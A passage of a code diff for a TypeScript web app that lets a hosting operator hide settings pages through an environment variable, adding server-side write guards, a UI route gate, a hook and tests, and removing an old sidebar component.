"board") { throw forbidden("Board access required"); @@ -122,6 +162,12 @@ export function instanceSettingsRoutes(db: Db) { }); } } + const hidden = getHiddenSettings(); + await assertNoHiddenSettingChanges( + req.body, + () => svc.getGeneral(), + (field) => hidden.has(`instance.general.${field}`), + ); const updated = await svc.updateGeneral(req.body); const actor = getActorInfo(req); const companyIds = await svc.listCompanyIds(); @@ -161,6 +207,15 @@ export function instanceSettingsRoutes(db: Db) { validate(patchInstanceExperimentalSettingsSchema), async (req, res) => { assertCanManageInstanceSettings(req); + // Hiding the whole Experimental page floors every toggle; otherwise + // only individually hidden keys are floored. + const hidden = getHiddenSettings(); + await assertNoHiddenSettingChanges( + req.body, + () => svc.getExperimental(), + (field) => + hidden.has("instance.experimental") || hidden.has(`instance.experimental.${field}`), + ); const updated = await svc.updateExperimental(req.body); const actor = getActorInfo(req); const companyIds = await svc.listCompanyIds(); diff --git a/server/src/routes/plugins.ts b/server/src/routes/plugins.ts index 17f1823725a..971283dd0e2 100644 --- a/server/src/routes/plugins.ts +++ b/server/src/routes/plugins.ts @@ -89,9 +89,24 @@ import { isWithinBundledPluginRoot, } from "../services/plugin-install-guard.js"; import { isCloudManagedInstance } from "../services/cloud-instance.js"; +import { getHiddenSettings } from "../services/settings-visibility.js"; import { secretService } from "../services/secrets.js"; import { badRequest, forbidden, notFound, unauthorized, unprocessable } from "../errors.js"; +/** + * Floor: when the hosting operator hides the Plugins settings surface + * (`instance.plugins` in PAPERCLIP_HIDDEN_SETTINGS), plugin lifecycle and + * configuration writes are rejected alongside it. Reads stay open — installed + * plugins keep running and `/plugins/ui-contributions` still powers their UI. + */ +function assertPluginManagementVisible() { + if (getHiddenSettings().has("instance.plugins")) { + throw forbidden("Plugin management is managed by the hosting operator on this instance", { + code: "settings_operator_managed", + }); + } +} + /** UI slot declaration extracted from plugin manifest */ type PluginUiSlotDeclaration = NonNullable["slots"]>[number]; /** Launcher declaration extracted from plugin manifest */ @@ -1125,6 +1140,7 @@ export function pluginRoutes( */ router.post("/plugins/install", async (req, res) => { assertInstanceAdmin(req); + assertPluginManagementVisible(); const { packageName, version, isLocalPath } = req.body as PluginInstallRequest; // Input validation @@ -1968,6 +1984,7 @@ export function pluginRoutes( */ router.delete("/plugins/:pluginId", async (req, res) => { assertInstanceAdmin(req); + assertPluginManagementVisible(); const { pluginId } = req.params; const purge = req.query.purge === "true"; @@ -2004,6 +2021,7 @@ export function pluginRoutes( */ router.post("/plugins/:pluginId/enable", async (req, res) => { assertInstanceAdmin(req); + assertPluginManagementVisible(); const { pluginId } = req.params; const plugin = await resolvePlugin(registry, pluginId); @@ -2042,6 +2060,7 @@ export function pluginRoutes( */ router.post("/plugins/:pluginId/disable", async (req, res) => { assertInstanceAdmin(req); + assertPluginManagementVisible(); const { pluginId } = req.params; const body = req.body as { reason?: string } | undefined; const reason = body?.reason; @@ -2204,6 +2223,7 @@ export function pluginRoutes( */ router.post("/plugins/:pluginId/upgrade", async (req, res) => { assertInstanceAdmin(req); + assertPluginManagementVisible(); const { pluginId } = req.params; const body = req.body as { version?: string } | undefined; const version = body?.version; @@ -2285,6 +2305,7 @@ export function pluginRoutes( */ router.post("/plugins/:pluginId/config", async (req, res) => { assertInstanceAdmin(req); + assertPluginManagementVisible(); const { pluginId } = req.params; const plugin = await resolvePlugin(registry, pluginId); @@ -2417,6 +2438,7 @@ export function pluginRoutes( */ router.post("/plugins/:pluginId/config/test", async (req, res) => { assertBoardOrgAccess(req); + assertPluginManagementVisible(); if (!bridgeDeps) { res.status(501).json({ error: "Plugin bridge is not enabled" }); @@ -2893,6 +2915,7 @@ export function pluginRoutes( router.put("/plugins/:pluginId/companies/:companyId/local-folders/:folderKey", async (req, res) => { assertBoardOrgAccess(req); + assertPluginManagementVisible(); const { pluginId, companyId, folderKey } = req.params; assertCompanyAccess(req, companyId); diff --git a/server/src/services/settings-visibility.ts b/server/src/services/settings-visibility.ts new file mode 100644 index 00000000000..76ad0e83f4c --- /dev/null +++ b/server/src/services/settings-visibility.ts @@ -0,0 +1,37 @@ +import { parseHiddenSettingsList } from "@paperclipai/shared"; +import { logger } from "../middleware/logger.js"; + +/** + * Operator-hidden settings, from the `PAPERCLIP_HIDDEN_SETTINGS` env var + * (comma-separated keys from the shared settings-visibility registry). Unknown + * keys are warned about once and ignored so one list can be rolled across a + * fleet of mixed app versions without refusing boot on older images. + */ +export const HIDDEN_SETTINGS_ENV_KEY = "PAPERCLIP_HIDDEN_SETTINGS"; + +export type HiddenSettingsEnv = Record; + +let cache: { raw: string | undefined; hidden: ReadonlySet } | null = null; + +/** + * Parse-once accessor keyed on the raw env value. Callers that pass a custom + * env (tests) get a fresh parse whenever the raw value differs; process.env + * callers share one parsed set for the process lifetime. Members are always + * `HideableSettingKey`s; typed as strings so route code can probe with + * computed `instance.*` keys. + */ +export function getHiddenSettings( + env: HiddenSettingsEnv = process.env, +): ReadonlySet { + const raw = env[HIDDEN_SETTINGS_ENV_KEY]; + if (cache && cache.raw === raw) return cache.hidden; + const { hidden, unknown } = parseHiddenSettingsList(raw); + if (unknown.length > 0) { + logger.warn( + { unknownKeys: unknown }, + `${HIDDEN_SETTINGS_ENV_KEY} contains unknown keys; they are ignored`, + ); + } + cache = { raw, hidden: new Set(hidden) }; + return cache.hidden; +} diff --git a/ui/src/App.tsx b/ui/src/App.tsx index a3a42f27788..ab983b0d690 100644 --- a/ui/src/App.tsx +++ b/ui/src/App.tsx @@ -9,6 +9,8 @@ import { PipelinesExperimentalGate } from "./components/PipelinesExperimentalGat import { CasesExperimentalGate } from "./components/CasesExperimentalGate"; import { StatusCardsExperimentalGate } from "./components/StatusCardsExperimentalGate"; import { AppsExperimentalGate } from "./components/AppsExperimentalGate"; +import { HiddenSettingsPageGate } from "./components/HiddenSettingsPageGate"; +import { useHiddenSettings } from "./hooks/useHiddenSettings"; import { Cases } from "./pages/Cases"; import { CaseDetail } from "./pages/CaseDetail"; import { OnboardingWizardVariant } from "./components/OnboardingWizardVariant"; @@ -96,7 +98,7 @@ import { shouldRedirectCompanylessRouteToOnboarding, } from "./lib/onboarding-route"; import { useCompanyMission } from "./hooks/useCompanyMission"; -import { normalizeRememberedInstanceSettingsPath } from "./lib/instance-settings"; +import { filterHiddenInstanceSettingsPath, normalizeRememberedInstanceSettingsPath } from "./lib/instance-settings"; const CompanyExport = lazy(() => import("./pages/CompanyExport").then((module) => ({ default: module.CompanyExport })), @@ -155,17 +157,31 @@ function boardRoutes() { } /> } /> - } /> + }> + } /> + } /> - } /> - } /> - } /> - } /> - } /> - } /> - } /> - } /> - } /> + }> + } /> + } /> + } /> + + }> + } /> + + }> + } /> + + }> + } /> + + }> + } /> + } /> + + }> + } /> + } /> } /> } /> @@ -350,6 +366,7 @@ function LegacySettingsRedirect() { const location = useLocation(); const { companies, selectedCompany, loading } = useCompany(); const { companyPrefix } = useParams<{ companyPrefix?: string }>(); + const { hidden: hiddenSettings } = useHiddenSettings(); if (loading) { return ; @@ -375,8 +392,11 @@ function LegacySettingsRedirect() { return ; } - const normalizedPath = normalizeRememberedInstanceSettingsPath( - `${location.pathname}${location.search}${location.hash}`, + const normalizedPath = filterHiddenInstanceSettingsPath( + normalizeRememberedInstanceSettingsPath( + `${location.pathname}${location.search}${location.hash}`, + ), + hiddenSettings, ); return ( diff --git a/ui/src/api/health.ts b/ui/src/api/health.ts index 833b3ca8379..b3ecdbcbc50 100644 --- a/ui/src/api/health.ts +++ b/ui/src/api/health.ts @@ -36,6 +36,11 @@ export type HealthStatus = { serverInfo?: ServerInfoSnapshot; devServer?: DevServerHealthStatus; cloud?: CloudInstanceHealthStatus; + /** + * Settings surfaces hidden by the hosting operator (keys from the shared + * settings-visibility registry). Absent when nothing is hidden. + */ + hiddenSettings?: string[]; }; export const healthApi = { diff --git a/ui/src/components/CompanySettingsSidebar.test.tsx b/ui/src/components/CompanySettingsSidebar.test.tsx index 282280ddb48..d8bc36c3eff 100644 --- a/ui/src/components/CompanySettingsSidebar.test.tsx +++ b/ui/src/components/CompanySettingsSidebar.test.tsx @@ -3,6 +3,7 @@ import { createRoot } from "react-dom/client"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { queryKeys } from "@/lib/queryKeys"; import { CompanySettingsSidebar } from "./CompanySettingsSidebar"; const sidebarNavItemMock = vi.hoisted(() => vi.fn()); @@ -353,3 +354,64 @@ describe("CompanySettingsSidebar", () => { }); }); }); + +describe("CompanySettingsSidebar operator-hidden entries", () => { + let container: HTMLDivElement; + + beforeEach(() => { + container = document.createElement("div"); + document.body.appendChild(container); + mockSidebarBadgesApi.get.mockResolvedValue({ + inbox: 0, + approvals: 0, + failedRuns: 0, + joinRequests: 0, + }); + mockPluginsApi.list.mockResolvedValue([]); + mockUsePluginSlots.mockReturnValue({ slots: [], isLoading: false, errorMessage: null }); + }); + + afterEach(() => { + container.remove(); + document.body.innerHTML = ""; + vi.clearAllMocks(); + }); + + async function renderSidebar(hiddenSettings?: string[]) { + const root = createRoot(container); + const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + queryClient.setQueryData(queryKeys.health, { + status: "ok", + ...(hiddenSettings ? { hiddenSettings } : {}), + }); + await act(async () => { + root.render( + + + , + ); + }); + await flushReact(); + } + + it("skips operator-hidden pages and their queries", async () => { + await renderSidebar(["instance.plugins", "instance.heartbeats"]); + + expect(container.textContent).not.toContain("Plugins"); + expect(container.textContent).not.toContain("Heartbeats"); + expect(container.textContent).toContain("General"); + expect(container.textContent).toContain("Adapters"); + expect(container.textContent).toContain("Access"); + expect(mockPluginsApi.list).not.toHaveBeenCalled(); + }); + + it("keeps every entry when nothing is hidden", async () => { + await renderSidebar(); + + expect(container.textContent).toContain("Access"); + expect(container.textContent).toContain("Plugins"); + expect(container.textContent).toContain("Heartbeats"); + expect(container.textContent).toContain("Adapters"); + expect(mockPluginsApi.list).toHaveBeenCalled(); + }); +}); diff --git a/ui/src/components/CompanySettingsSidebar.tsx b/ui/src/components/CompanySettingsSidebar.tsx index 3bf68837191..d1c01eeb8be 100644 --- a/ui/src/components/CompanySettingsSidebar.tsx +++ b/ui/src/components/CompanySettingsSidebar.tsx @@ -25,6 +25,7 @@ import { SIDEBAR_SCROLL_RESET_STATE } from "@/lib/navigation-scroll"; import { queryKeys } from "@/lib/queryKeys"; import { useCompany } from "@/context/CompanyContext"; import { useSidebar } from "@/context/SidebarContext"; +import { useHiddenSettings } from "@/hooks/useHiddenSettings"; import { usePluginSlots } from "@/plugins/slots"; import { SidebarNavItem } from "./SidebarNavItem"; @@ -43,6 +44,9 @@ function isSandboxProviderOnly(plugin: PluginRecord): boolean { export function CompanySettingsSidebar() { const { selectedCompany, selectedCompanyId } = useCompany(); const { isMobile, setSidebarOpen } = useSidebar(); + const { hidden: hiddenSettings } = useHiddenSettings(); + const showPage = (pageKey: string) => !hiddenSettings.has(pageKey); + const showPlugins = showPage("instance.plugins"); const { slots: companySettingsPluginSlots } = usePluginSlots({ slotTypes: ["companySettingsPage"], companyId: selectedCompanyId, @@ -69,6 +73,9 @@ export function CompanySettingsSidebar() { const { data: plugins } = useQuery({ queryKey: queryKeys.plugins.all, queryFn: () => pluginsApi.list(), + // The listing only feeds the per-plugin subtree below; skip it when the + // operator hides the Plugins surface. + enabled: showPlugins, }); const sidebarPlugins = (plugins ?? []).filter((plugin) => !isSandboxProviderOnly(plugin)); @@ -90,12 +97,14 @@ export function CompanySettingsSidebar() { diff --git a/ui/src/components/HiddenSettingsPageGate.test.tsx b/ui/src/components/HiddenSettingsPageGate.test.tsx new file mode 100644 index 00000000000..bda27ae5db1 --- /dev/null +++ b/ui/src/components/HiddenSettingsPageGate.test.tsx @@ -0,0 +1,88 @@ +// @vitest-environment jsdom + +import { flushSync } from "react-dom"; +import { createRoot, type Root } from "react-dom/client"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { queryKeys } from "@/lib/queryKeys"; +import { HiddenSettingsPageGate } from "./HiddenSettingsPageGate"; + +vi.mock("@/lib/router", () => ({ + Navigate: ({ to, replace }: { to: string; replace?: boolean }) => ( +
    + ), + Outlet: () =>
    Page content
    , +})); + +async function flushReact() { + for (let index = 0; index < 5; index += 1) { + await Promise.resolve(); + await new Promise((resolve) => window.setTimeout(resolve, 0)); + } + flushSync(() => {}); +} + +describe("HiddenSettingsPageGate", () => { + let container: HTMLDivElement; + let root: Root | null = null; + + async function renderGate(pageKey: string, health?: Record) { + root = createRoot(container); + const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + if (health !== undefined) { + queryClient.setQueryData(queryKeys.health, health); + } + flushSync(() => { + root!.render( + + + , + ); + }); + await flushReact(); + } + + beforeEach(() => { + container = document.createElement("div"); + document.body.appendChild(container); + }); + + afterEach(() => { + flushSync(() => root?.unmount()); + root = null; + container.remove(); + vi.clearAllMocks(); + }); + + it("redirects to the settings root when the page is operator-hidden", async () => { + await renderGate("instance.plugins", { + status: "ok", + hiddenSettings: ["instance.plugins", "instance.adapters"], + }); + + expect(container.querySelector('[data-testid="navigate"]')?.getAttribute("data-to")).toBe( + "/company/settings", + ); + expect(container.querySelector('[data-testid="page-content"]')).toBeNull(); + }); + + it("renders the page when it is not hidden", async () => { + await renderGate("instance.plugins", { status: "ok", hiddenSettings: ["instance.access"] }); + + expect(container.querySelector('[data-testid="page-content"]')).not.toBeNull(); + expect(container.querySelector('[data-testid="navigate"]')).toBeNull(); + }); + + it("renders the page when nothing is hidden at all", async () => { + await renderGate("instance.adapters", { status: "ok" }); + + expect(container.querySelector('[data-testid="page-content"]')).not.toBeNull(); + }); + + it("renders nothing until health is cached", async () => { + await renderGate("instance.plugins"); + + expect(container.querySelector('[data-testid="page-content"]')).toBeNull(); + expect(container.querySelector('[data-testid="navigate"]')).toBeNull(); + }); +}); diff --git a/ui/src/components/HiddenSettingsPageGate.tsx b/ui/src/components/HiddenSettingsPageGate.tsx new file mode 100644 index 00000000000..99f6f217c81 --- /dev/null +++ b/ui/src/components/HiddenSettingsPageGate.tsx @@ -0,0 +1,17 @@ +import { Navigate, Outlet } from "@/lib/router"; +import { useHiddenSettings } from "@/hooks/useHiddenSettings"; + +/** + * Route gate for instance-settings pages the hosting operator can hide + * (`instance.access`, `instance.plugins`, `instance.adapters`). Hidden pages + * redirect to the settings root instead of rendering; until health is cached + * nothing renders, so a hidden page never flashes. Under CloudAccessGate the + * health response is always cached before board routes mount. + */ +export function HiddenSettingsPageGate({ pageKey }: { pageKey: string }) { + const { hidden, loaded } = useHiddenSettings(); + + if (!loaded) return null; + if (hidden.has(pageKey)) return ; + return ; +} diff --git a/ui/src/components/InstanceSidebar.test.tsx b/ui/src/components/InstanceSidebar.test.tsx deleted file mode 100644 index f02671d53d7..00000000000 --- a/ui/src/components/InstanceSidebar.test.tsx +++ /dev/null @@ -1,288 +0,0 @@ -// @vitest-environment jsdom - -import type { ReactNode } from "react"; -import { createRoot } from "react-dom/client"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import type { PluginRecord } from "@paperclipai/shared"; - -const mockPluginsApi = vi.hoisted(() => ({ - list: vi.fn(), -})); - -vi.mock("@/api/plugins", () => ({ - pluginsApi: mockPluginsApi, -})); - -vi.mock("@/lib/router", () => ({ - NavLink: ({ - children, - to, - className, - }: { - children: ReactNode | ((arg: { isActive: boolean }) => ReactNode); - to: string; - state?: unknown; - end?: boolean; - onClick?: () => void; - className?: string | ((arg: { isActive: boolean }) => string); - }) => { - const resolvedClass = - typeof className === "function" ? className({ isActive: false }) : className; - const content = typeof children === "function" ? children({ isActive: false }) : children; - return ( - - {content} - - ); - }, -})); - -vi.mock("../context/SidebarContext", () => ({ - useSidebar: () => ({ isMobile: false, setSidebarOpen: vi.fn() }), -})); - -// eslint-disable-next-line @typescript-eslint/no-explicit-any -(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true; - -import { InstanceSidebar } from "./InstanceSidebar"; - -async function act(callback: () => void | Promise) { - await callback(); - await Promise.resolve(); - await new Promise((resolve) => window.setTimeout(resolve, 0)); -} - -function makePlugin(overrides: Partial & { manifestJson: PluginRecord["manifestJson"] }): PluginRecord { - return { - id: overrides.id ?? "plugin-id", - pluginKey: overrides.pluginKey ?? "plugin-key", - packageName: overrides.packageName ?? "@scope/pkg", - version: overrides.version ?? "1.0.0", - apiVersion: overrides.apiVersion ?? 1, - categories: overrides.categories ?? [], - manifestJson: overrides.manifestJson, - status: overrides.status ?? "ready", - installOrder: overrides.installOrder ?? 0, - packagePath: overrides.packagePath ?? null, - lastError: overrides.lastError ?? null, - installedAt: overrides.installedAt ?? new Date(0), - updatedAt: overrides.updatedAt ?? new Date(0), - }; -} - -async function flushReact() { - await act(async () => { - await Promise.resolve(); - await new Promise((resolve) => window.setTimeout(resolve, 0)); - }); -} - -async function findPluginLinks(container: HTMLElement, expectedCount: number) { - await act(async () => { - await vi.waitFor(() => { - expect(container.querySelectorAll('a[href^="/company/settings/instance/plugins/"]')).toHaveLength(expectedCount); - }); - }); - return Array.from(container.querySelectorAll('a[href^="/company/settings/instance/plugins/"]')); -} - -function renderSidebar(container: HTMLElement) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false, gcTime: 0 } }, - }); - const root = createRoot(container); - act(() => { - root.render( - - - , - ); - }); - return { root, queryClient }; -} - -describe("InstanceSidebar", () => { - let container: HTMLDivElement; - let root: ReturnType | null; - let queryClient: QueryClient | null; - - beforeEach(() => { - container = document.createElement("div"); - document.body.appendChild(container); - root = null; - queryClient = null; - mockPluginsApi.list.mockReset(); - }); - - afterEach(async () => { - if (root) { - const currentRoot = root; - await act(async () => { - currentRoot.unmount(); - }); - } - queryClient?.clear(); - container.remove(); - document.body.innerHTML = ""; - vi.clearAllMocks(); - }); - - it("filters out sandbox-provider-only plugins from the sidebar", async () => { - const sandboxPlugin = makePlugin({ - id: "e2b", - packageName: "@paperclipai/plugin-e2b", - manifestJson: { - id: "e2b", - name: "E2B Sandbox Provider", - displayName: "E2B Sandbox Provider", - version: "1.0.0", - apiVersion: 1, - environmentDrivers: [ - { - driverKey: "e2b", - kind: "sandbox_provider", - displayName: "E2B", - configSchema: { type: "object" }, - }, - ], - } as unknown as PluginRecord["manifestJson"], - }); - const regularPlugin = makePlugin({ - id: "linear", - packageName: "@paperclipai/plugin-linear", - manifestJson: { - id: "linear", - name: "Linear", - displayName: "Linear", - version: "1.0.0", - apiVersion: 1, - } as unknown as PluginRecord["manifestJson"], - }); - mockPluginsApi.list.mockResolvedValue([sandboxPlugin, regularPlugin]); - - const rendered = renderSidebar(container); - root = rendered.root; - queryClient = rendered.queryClient; - await flushReact(); - - const pluginLinks = await findPluginLinks(container, 1); - expect(pluginLinks[0]?.getAttribute("href")).toBe("/company/settings/instance/plugins/linear"); - expect(pluginLinks[0]?.textContent).toBe("Linear"); - expect(container.textContent).not.toContain("Access"); - expect(container.textContent).not.toContain("Heartbeats"); - }); - - it("keeps plugins that mix sandbox-provider with other contributions", async () => { - const hybridPlugin = makePlugin({ - id: "hybrid", - packageName: "@example/plugin-hybrid", - manifestJson: { - id: "hybrid", - name: "Hybrid", - displayName: "Hybrid", - version: "1.0.0", - apiVersion: 1, - environmentDrivers: [ - { - driverKey: "sb", - kind: "sandbox_provider", - displayName: "SB", - configSchema: { type: "object" }, - }, - { - driverKey: "env", - kind: "environment_driver", - displayName: "Env", - configSchema: { type: "object" }, - }, - ], - } as unknown as PluginRecord["manifestJson"], - }); - mockPluginsApi.list.mockResolvedValue([hybridPlugin]); - - const rendered = renderSidebar(container); - root = rendered.root; - queryClient = rendered.queryClient; - await flushReact(); - - const pluginLinks = await findPluginLinks(container, 1); - expect(pluginLinks[0]?.getAttribute("href")).toBe("/company/settings/instance/plugins/hybrid"); - }); - - it("renders the indented plugin list between the Plugins and Adapters rows", async () => { - mockPluginsApi.list.mockResolvedValue([ - makePlugin({ - id: "linear", - packageName: "@paperclipai/plugin-linear", - manifestJson: { - id: "linear", - name: "Linear", - displayName: "Linear", - version: "1.0.0", - apiVersion: 1, - } as unknown as PluginRecord["manifestJson"], - }), - ]); - - const rendered = renderSidebar(container); - root = rendered.root; - queryClient = rendered.queryClient; - await flushReact(); - await findPluginLinks(container, 1); - - await vi.waitFor(() => { - const links = Array.from( - container.querySelectorAll('a[href^="/company/settings/instance/"]'), - ); - expect(links.some((a) => a.getAttribute("href") === "/company/settings/instance/plugins/linear")).toBe(true); - }); - - const topLevelLinks = Array.from(container.querySelectorAll('a[href^="/company/settings/instance/"]')); - const hrefs = topLevelLinks.map((a) => a.getAttribute("href")); - - const pluginsIndex = hrefs.indexOf("/company/settings/instance/plugins"); - const adaptersIndex = hrefs.indexOf("/company/settings/instance/adapters"); - const linearIndex = hrefs.indexOf("/company/settings/instance/plugins/linear"); - - expect(pluginsIndex).toBeGreaterThanOrEqual(0); - expect(adaptersIndex).toBeGreaterThan(pluginsIndex); - expect(linearIndex).toBeGreaterThan(pluginsIndex); - expect(linearIndex).toBeLessThan(adaptersIndex); - }); - - it("does not render the indented group when every plugin is filtered out", async () => { - mockPluginsApi.list.mockResolvedValue([ - makePlugin({ - id: "e2b", - packageName: "@paperclipai/plugin-e2b", - manifestJson: { - id: "e2b", - name: "E2B", - displayName: "E2B", - version: "1.0.0", - apiVersion: 1, - environmentDrivers: [ - { - driverKey: "e2b", - kind: "sandbox_provider", - displayName: "E2B", - configSchema: { type: "object" }, - }, - ], - } as unknown as PluginRecord["manifestJson"], - }), - ]); - - const rendered = renderSidebar(container); - root = rendered.root; - queryClient = rendered.queryClient; - await flushReact(); - - await vi.waitFor(() => { - expect(mockPluginsApi.list).toHaveBeenCalled(); - }); - const pluginLinks = Array.from(container.querySelectorAll('a[href^="/company/settings/instance/plugins/"]')); - expect(pluginLinks).toHaveLength(0); - }); -}); diff --git a/ui/src/components/InstanceSidebar.tsx b/ui/src/components/InstanceSidebar.tsx deleted file mode 100644 index 875d0080912..00000000000 --- a/ui/src/components/InstanceSidebar.tsx +++ /dev/null @@ -1,66 +0,0 @@ -import { useQuery } from "@tanstack/react-query"; -import { Cpu, FlaskConical, MonitorCog, Puzzle, SlidersHorizontal, UserRoundPen } from "lucide-react"; -import type { PluginRecord } from "@paperclipai/shared"; -import { NavLink } from "@/lib/router"; -import { pluginsApi } from "@/api/plugins"; -import { INSTANCE_SETTINGS_PATH_PREFIX } from "@/lib/instance-settings"; -import { queryKeys } from "@/lib/queryKeys"; -import { SIDEBAR_SCROLL_RESET_STATE } from "@/lib/navigation-scroll"; -import { SidebarNavItem } from "./SidebarNavItem"; - -/** - * Sandbox-provider-only plugins (e.g. E2B, exe.dev, Modal) have no per-plugin - * settings page — `PluginSettings` redirects them to the Environments page — - * so a sidebar entry would lead nowhere useful. Filter them out here. Plugins - * that mix a sandbox provider with other contributions still appear. - */ -function isSandboxProviderOnly(plugin: PluginRecord): boolean { - const drivers = plugin.manifestJson.environmentDrivers ?? []; - if (drivers.length === 0) return false; - return drivers.every((d) => d.kind === "sandbox_provider"); -} - -export function InstanceSidebar() { - const { data: plugins } = useQuery({ - queryKey: queryKeys.plugins.all, - queryFn: () => pluginsApi.list(), - }); - - const sidebarPlugins = (plugins ?? []).filter((p) => !isSandboxProviderOnly(p)); - - return ( - - ); -} diff --git a/ui/src/components/access/CompanySettingsNav.test.tsx b/ui/src/components/access/CompanySettingsNav.test.tsx index 430191b2bee..aa522e57ef7 100644 --- a/ui/src/components/access/CompanySettingsNav.test.tsx +++ b/ui/src/components/access/CompanySettingsNav.test.tsx @@ -2,7 +2,9 @@ import { createRoot } from "react-dom/client"; import { flushSync } from "react-dom"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { queryKeys } from "@/lib/queryKeys"; import { CompanySettingsNav, getCompanySettingsTab } from "./CompanySettingsNav"; let currentPathname = "/company/settings"; @@ -89,12 +91,25 @@ describe("CompanySettingsNav", () => { expect(getCompanySettingsTab("/company/settings/instance/adapters")).toBe("instance-adapters"); }); + function renderNav(root: ReturnType, hiddenSettings?: string[]) { + const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + queryClient.setQueryData(queryKeys.health, { + status: "ok", + ...(hiddenSettings ? { hiddenSettings } : {}), + }); + root.render( + + + , + ); + } + it("renders the active tab and navigates when a different tab is selected", async () => { currentPathname = "/PAP/company/settings/members"; const root = createRoot(container); await act(async () => { - root.render(); + renderNav(root); }); expect(container.textContent).toContain("members"); @@ -132,4 +147,34 @@ describe("CompanySettingsNav", () => { root.unmount(); }); }); + + it("filters operator-hidden tabs out of the tab bar", async () => { + currentPathname = "/PAP/company/settings/members"; + const root = createRoot(container); + + await act(async () => { + renderNav(root, ["instance.plugins", "instance.heartbeats"]); + }); + + const renderedValues = pageTabBarMock.mock.calls.at(-1)?.[0]?.items?.map( + (item: { value: string }) => item.value, + ); + expect(renderedValues).toEqual([ + "general", + "export", + "import", + "members", + "invites", + "secrets", + "instance-profile", + "instance-environments", + "instance-access", + "instance-experimental", + "instance-adapters", + ]); + + await act(async () => { + root.unmount(); + }); + }); }); diff --git a/ui/src/components/access/CompanySettingsNav.tsx b/ui/src/components/access/CompanySettingsNav.tsx index 683c45a1d63..e07147bcdce 100644 --- a/ui/src/components/access/CompanySettingsNav.tsx +++ b/ui/src/components/access/CompanySettingsNav.tsx @@ -1,5 +1,6 @@ import { PageTabBar } from "@/components/PageTabBar"; import { Tabs } from "@/components/ui/tabs"; +import { useHiddenSettings } from "@/hooks/useHiddenSettings"; import { INSTANCE_SETTINGS_PATH_PREFIX } from "@/lib/instance-settings"; import { useLocation, useNavigate } from "@/lib/router"; @@ -21,6 +22,17 @@ const items = [ type CompanySettingsTab = (typeof items)[number]["value"]; +/** Tab values suppressed when their page is operator-hidden. */ +const hiddenSettingKeyByTab: Partial> = { + "instance-profile": "instance.profile", + "instance-environments": "instance.environments", + "instance-access": "instance.access", + "instance-heartbeats": "instance.heartbeats", + "instance-experimental": "instance.experimental", + "instance-plugins": "instance.plugins", + "instance-adapters": "instance.adapters", +}; + export function getCompanySettingsTab(pathname: string): CompanySettingsTab { if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/profile`)) { return "instance-profile"; @@ -84,10 +96,15 @@ export function getCompanySettingsTab(pathname: string): CompanySettingsTab { export function CompanySettingsNav() { const location = useLocation(); const navigate = useNavigate(); + const { hidden: hiddenSettings } = useHiddenSettings(); const activeTab = getCompanySettingsTab(location.pathname); + const visibleItems = items.filter((item) => { + const hiddenKey = hiddenSettingKeyByTab[item.value]; + return !hiddenKey || !hiddenSettings.has(hiddenKey); + }); function handleTabChange(value: string) { - const nextTab = items.find((item) => item.value === value); + const nextTab = visibleItems.find((item) => item.value === value); if (!nextTab || nextTab.value === activeTab) return; navigate(nextTab.href); } @@ -95,7 +112,7 @@ export function CompanySettingsNav() { return ( ({ value, label }))} + items={visibleItems.map(({ value, label }) => ({ value, label }))} value={activeTab} onValueChange={handleTabChange} align="start" diff --git a/ui/src/hooks/useHiddenSettings.ts b/ui/src/hooks/useHiddenSettings.ts new file mode 100644 index 00000000000..e0931a6077f --- /dev/null +++ b/ui/src/hooks/useHiddenSettings.ts @@ -0,0 +1,27 @@ +import { useMemo } from "react"; +import { useQuery } from "@tanstack/react-query"; +import { healthApi } from "@/api/health"; +import { queryKeys } from "@/lib/queryKeys"; + +/** + * Settings surfaces hidden by the hosting operator, from the app-wide health + * query cache (keys from the shared settings-visibility registry, e.g. + * "instance.plugins" or "instance.experimental.enableSmokeLab"). + * CloudAccessGate owns the fetch; this observer never issues its own request. + * + * `loaded` is false until the health response is in the cache — gates should + * render nothing rather than flash a surface that may turn out to be hidden. + */ +export function useHiddenSettings(): { hidden: ReadonlySet; loaded: boolean } { + const healthQuery = useQuery({ + queryKey: queryKeys.health, + queryFn: () => healthApi.get(), + enabled: false, + }); + + const data = healthQuery.data; + return useMemo( + () => ({ hidden: new Set(data?.hiddenSettings ?? []), loaded: data !== undefined }), + [data], + ); +} diff --git a/ui/src/lib/instance-settings.test.ts b/ui/src/lib/instance-settings.test.ts index 39f2d46bf5c..730b9ecb218 100644 --- a/ui/src/lib/instance-settings.test.ts +++ b/ui/src/lib/instance-settings.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it } from "vitest"; import { DEFAULT_INSTANCE_SETTINGS_PATH, + filterHiddenInstanceSettingsPath, normalizeRememberedInstanceSettingsPath, } from "./instance-settings"; @@ -48,3 +49,29 @@ describe("normalizeRememberedInstanceSettingsPath", () => { expect(normalizeRememberedInstanceSettingsPath(null)).toBe(DEFAULT_INSTANCE_SETTINGS_PATH); }); }); + +describe("filterHiddenInstanceSettingsPath", () => { + const hidden = new Set(["instance.plugins", "instance.heartbeats"]); + + it("remaps hidden pages (including sub-paths) to the default settings path", () => { + expect( + filterHiddenInstanceSettingsPath("/company/settings/instance/plugins", hidden), + ).toBe(DEFAULT_INSTANCE_SETTINGS_PATH); + expect( + filterHiddenInstanceSettingsPath("/company/settings/instance/plugins/plugin-1", hidden), + ).toBe(DEFAULT_INSTANCE_SETTINGS_PATH); + expect( + filterHiddenInstanceSettingsPath("/company/settings/instance/heartbeats", hidden), + ).toBe(DEFAULT_INSTANCE_SETTINGS_PATH); + }); + + it("keeps visible pages and non-settings paths untouched", () => { + expect( + filterHiddenInstanceSettingsPath("/company/settings/instance/experimental", hidden), + ).toBe("/company/settings/instance/experimental"); + expect(filterHiddenInstanceSettingsPath("/dashboard", hidden)).toBe("/dashboard"); + 